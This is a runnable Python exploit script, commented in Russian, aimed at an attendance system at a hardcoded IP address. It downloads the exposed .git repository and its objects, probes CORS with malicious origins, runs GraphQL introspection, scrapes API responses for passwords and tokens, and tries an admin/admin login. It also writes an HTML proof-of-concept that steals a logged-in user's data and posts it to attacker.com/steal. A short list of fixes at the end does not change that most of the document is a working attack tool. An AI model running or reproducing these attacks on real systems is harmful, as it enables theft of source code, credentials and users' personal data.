Загрузка данных
#!/usr/bin/env python3
"""
Exploit Script for Attendance System (172.140.140.79)
Targets:
- CRITICAL: .git/ directory exposure
- HIGH: CORS misconfiguration
- HIGH: API endpoints (GraphQL, /api/)
- MEDIUM: Missing CSRF protection
"""
import requests
import os
import json
import re
import base64
import urllib3
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class AttendanceSystemExploit:
def __init__(self, target="http://172.140.140.79"):
self.target = target
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.0'
})
self.exfil_data = []
self.git_files = []
self.api_endpoints = []
def exploit_git_exposure(self):
"""Эксплуатация CRITICAL: извлечение .git/ репозитория"""
print("\n" + "="*60)
print("[CRITICAL] EXPLOITING .git/ DIRECTORY EXPOSURE")
print("="*60)
git_files_to_check = [
"HEAD",
"config",
"description",
"index",
"packed-refs",
"logs/HEAD",
"logs/refs/heads/main",
"refs/heads/main",
"refs/heads/master",
"objects/00/info/packs",
"COMMIT_EDITMSG",
"info/refs",
"info/exclude"
]
git_dir = os.path.join("extracted_git", "172.140.140.79")
os.makedirs(git_dir, exist_ok=True)
extracted_files = []
for git_file in git_files_to_check:
url = f"{self.target}/.git/{git_file}"
try:
resp = self.session.get(url, timeout=10)
if resp.status_code == 200:
local_path = os.path.join(git_dir, git_file.replace('/', os.sep))
os.makedirs(os.path.dirname(local_path), exist_ok=True)
with open(local_path, 'wb') as f:
f.write(resp.content)
extracted_files.append(git_file)
print(f"[+] Extracted: .git/{git_file} ({len(resp.content)} bytes)")
# Анализ содержимого
if git_file == "config":
self._analyze_git_config(resp.text)
elif git_file in ["refs/heads/main", "refs/heads/master"]:
self._get_commit_objects(resp.text.strip())
except Exception as e:
pass
# Попытка получить объекты git
self._enumerate_git_objects(git_dir)
print(f"\n[*] Total extracted: {len(extracted_files)} files")
print(f"[*] Saved to: {git_dir}/")
return extracted_files
def _analyze_git_config(self, config_content):
"""Анализ git config на наличие credentials"""
print("\n[ANALYSIS] Git Config:")
remote_url = re.search(r'url\s*=\s*(.+)', config_content)
if remote_url:
print(f" Remote URL: {remote_url.group(1)}")
if 'password' in remote_url.group(1) or '@' in remote_url.group(1):
print(" [!] WARNING: Credentials might be in URL!")
def _get_commit_objects(self, commit_hash):
"""Получение объектов коммитов"""
if not commit_hash or len(commit_hash) < 4:
return
obj_dir = commit_hash[:2]
obj_file = commit_hash[2:]
url = f"{self.target}/.git/objects/{obj_dir}/{obj_file}"
try:
resp = self.session.get(url, timeout=5)
if resp.status_code == 200:
print(f" [+] Got commit object: {commit_hash}")
except:
pass
def _enumerate_git_objects(self, git_dir):
"""Перебор git objects"""
print("\n[*] Enumerating git objects...")
found_objects = []
hex_chars = '0123456789abcdef'
with ThreadPoolExecutor(max_workers=20) as executor:
futures = {}
for c1 in hex_chars:
for c2 in hex_chars:
url = f"{self.target}/.git/objects/{c1}{c2}/"
future = executor.submit(self.session.get, url, timeout=5)
futures[future] = url
for future in as_completed(futures):
try:
resp = future.result()
if resp.status_code == 200:
# Парсинг объектов из directory listing
objects = re.findall(r'href="([a-f0-9]{38})"', resp.text)
found_objects.extend(objects)
except:
pass
print(f" [+] Found {len(found_objects)} objects")
# Скачивание объектов
if found_objects:
objects_dir = os.path.join(git_dir, "objects")
os.makedirs(objects_dir, exist_ok=True)
for obj in found_objects[:50]: # Limit to 50
obj_path = f"{obj[:2]}/{obj[2:]}"
url = f"{self.target}/.git/objects/{obj_path}"
try:
resp = self.session.get(url, timeout=5)
if resp.status_code == 200:
local_path = os.path.join(objects_dir, obj[:2])
os.makedirs(local_path, exist_ok=True)
with open(os.path.join(local_path, obj[2:]), 'wb') as f:
f.write(resp.content)
except:
pass
def exploit_cors_data_exfiltration(self):
"""Эксплуатация CORS: демонстрация извлечения данных"""
print("\n" + "="*60)
print("[HIGH] CORS DATA EXFILTRATION ATTACK")
print("="*60)
malicious_origins = [
"https://evil.com",
"http://localhost:3000",
"https://attacker-controlled-site.com",
"null"
]
# API endpoints для тестирования CORS
api_paths = [
"/api/auth",
"/api/user",
"/api/admin",
"/graphql",
"/health",
"/metrics"
]
cors_vulnerable = []
for origin in malicious_origins:
headers = {
'Origin': origin,
'Access-Control-Request-Method': 'GET, POST, PUT, DELETE'
}
for path in api_paths:
url = f"{self.target}{path}"
try:
# Preflight request
resp = self.session.options(url, headers=headers, timeout=5)
acao = resp.headers.get('Access-Control-Allow-Origin', '')
acac = resp.headers.get('Access-Control-Allow-Credentials', '')
if origin in acao or acao == '*':
print(f"\n[!] CORS VULNERABLE: {path}")
print(f" Origin: {origin}")
print(f" Access-Control-Allow-Origin: {acao}")
print(f" Access-Control-Allow-Credentials: {acac}")
cors_vulnerable.append({
'path': path,
'origin': origin,
'credentials': acac == 'true'
})
# Попытка получить данные
if path == "/api/user":
self._test_api_data_exfiltration(url, origin)
except Exception as e:
pass
return cors_vulnerable
def _test_api_data_exfiltration(self, url, origin):
"""Тест извлечения данных через CORS"""
headers = {'Origin': origin}
try:
resp = self.session.get(url, headers=headers, timeout=5)
if resp.status_code == 200:
print(f" [+] Data accessible: {resp.text[:200]}...")
self.exfil_data.append({
'source': url,
'origin': origin,
'data': resp.text[:500]
})
except:
pass
def exploit_graphql_introspection(self):
"""Тестирование GraphQL introspection"""
print("\n" + "="*60)
print("[INFO] GRAPHQL INTROSPECTION ATTACK")
print("="*60)
introspection_query = {
"query": """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
}
}
}
}
}
"""
}
graphql_endpoints = [
f"{self.target}/graphql",
f"{self.target}/api/graphql",
f"{self.target}/graphiql"
]
for endpoint in graphql_endpoints:
try:
resp = self.session.post(
endpoint,
json=introspection_query,
headers={'Content-Type': 'application/json'},
timeout=10
)
if resp.status_code == 200:
data = resp.json()
if 'data' in data and '__schema' in data.get('data', {}):
print(f"\n[+] GraphQL Introspection ENABLED: {endpoint}")
types = data['data']['__schema'].get('types', [])
print(f" Available types: {len(types)}")
# Сохранение схемы
schema_file = "graphql_schema.json"
with open(schema_file, 'w') as f:
json.dump(data, f, indent=2)
print(f" [+] Schema saved to: {schema_file}")
# Поиск sensitive полей
sensitive_fields = ['password', 'token', 'secret', 'admin', 'user']
for t in types:
if t and 'fields' in t and t['fields']:
for field in t['fields']:
if field and any(s in field.get('name', '').lower() for s in sensitive_fields):
print(f" [!] Sensitive field: {t.get('name', 'N/A')}.{field.get('name', 'N/A')}")
return data
except Exception as e:
pass
print("[-] GraphQL introspection not available or disabled")
return None
def exploit_api_endpoints(self):
"""Тестирование API endpoints"""
print("\n" + "="*60)
print("[INFO] API ENDPOINT ENUMERATION")
print("="*60)
endpoints = [
"/api/auth/login",
"/api/auth/register",
"/api/user/profile",
"/api/user/list",
"/api/admin/users",
"/api/admin/config",
"/health",
"/metrics",
"/swagger.json",
"/api-docs",
"/v1/api/users",
"/api/v2/users"
]
findings = []
for endpoint in endpoints:
url = f"{self.target}{endpoint}"
try:
resp = self.session.get(url, timeout=5)
print(f"[{resp.status_code}] {endpoint}")
if resp.status_code == 200:
content_type = resp.headers.get('Content-Type', '')
if 'json' in content_type:
try:
data = resp.json()
print(f" [+] JSON Response: {json.dumps(data, indent=2)[:300]}")
findings.append({'endpoint': endpoint, 'data': data})
except:
print(f" [+] Response: {resp.text[:200]}")
elif 'text' in content_type:
# Поиск sensitive данных
patterns = [
r'password["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
r'api[_-]?key["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
r'secret["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
r'token["\']?\s*[:=]\s*["\']?([^"\'\s]+)'
]
for pattern in patterns:
matches = re.findall(pattern, resp.text, re.IGNORECASE)
if matches:
print(f" [!] POTENTIAL CREDENTIALS FOUND!")
for m in matches[:3]:
print(f" -> {m[:50]}...")
except Exception as e:
pass
return findings
def exploit_csrf_bypass(self):
"""Тестирование CSRF bypass на login форме"""
print("\n" + "="*60)
print("[MEDIUM] CSRF BYPASS ATTACK")
print("="*60)
login_url = f"{self.target}/api/auth"
# Тест 1: Login без CSRF токена
payload_no_csrf = {
"username": "admin",
"password": "admin",
"email": "test@test.com"
}
try:
resp = self.session.post(
login_url,
json=payload_no_csrf,
headers={'Content-Type': 'application/json'},
timeout=5
)
print(f"[+] Login request without CSRF: {resp.status_code}")
print(f" Response: {resp.text[:200]}")
if resp.status_code in [200, 201, 401]:
print(" [!] Endpoint accepts requests without CSRF token!")
except Exception as e:
print(f"[-] Error: {e}")
def generate_html_poc(self):
"""Генерация HTML PoC для CORS атаки"""
print("\n" + "="*60)
print("[INFO] GENERATING HTML PoC")
print("="*60)
html_content = f'''<!DOCTYPE html>
<html>
<head>
<title>CORS Exploit PoC - Attendance System</title>
</head>
<body>
<h1>CORS Data Exfiltration PoC</h1>
<p>Target: {self.target}</p>
<button onclick="stealData()">Steal Data</button>
<pre id="result"></pre>
<script>
function stealData() {{
fetch('{self.target}/api/user', {{
method: 'GET',
credentials: 'include'
}})
.then(r => r.json())
.then(data => {{
document.getElementById('result').textContent = JSON.stringify(data, null, 2);
// Exfiltrate to attacker server
fetch('https://attacker.com/steal', {{
method: 'POST',
body: JSON.stringify(data)
}});
}})
.catch(e => {{
document.getElementById('result').textContent = 'Error: ' + e;
}});
}}
</script>
</body>
</html>'''
with open("cors_exploit_poc.html", "w") as f:
f.write(html_content)
print("[+] PoC saved to: cors_exploit_poc.html")
def run_all_exploits(self):
"""Запуск всех эксплойтов"""
print(f"""
╔══════════════════════════════════════════════════════════╗
║ ATTENDANCE SYSTEM EXPLOITATION FRAMEWORK ║
║ Target: {self.target:<43} ║
╚══════════════════════════════════════════════════════════╝
""")
results = {
'git_extraction': self.exploit_git_exposure(),
'cors_vulnerabilities': self.exploit_cors_data_exfiltration(),
'graphql_introspection': self.exploit_graphql_introspection(),
'api_findings': self.exploit_api_endpoints(),
'csrf_test': self.exploit_csrf_bypass()
}
self.generate_html_poc()
# Сохранение полного отчета
report = {
'target': self.target,
'exploitation_results': results,
'exfiltrated_data': self.exfil_data,
'recommendations': [
"Remove .git/ directory from web root IMMEDIATELY",
"Implement strict CORS policy with whitelist",
"Enable CSRF tokens on all state-changing operations",
"Disable GraphQL introspection in production",
"Implement authentication on all API endpoints",
"Add security headers (HSTS, CSP, X-Frame-Options)"
]
}
with open("exploitation_report.json", "w") as f:
json.dump(report, f, indent=2)
print("\n" + "="*60)
print("EXPLOITATION COMPLETE")
print("="*60)
print("[*] Full report saved to: exploitation_report.json")
print("[*] Git extraction saved to: extracted_git/")
print("[*] CORS PoC saved to: cors_exploit_poc.html")
print("\n[!] CRITICAL ACTIONS REQUIRED:")
for rec in report['recommendations']:
print(f" - {rec}")
if __name__ == "__main__":
exploit = AttendanceSystemExploit()
exploit.run_all_exploits()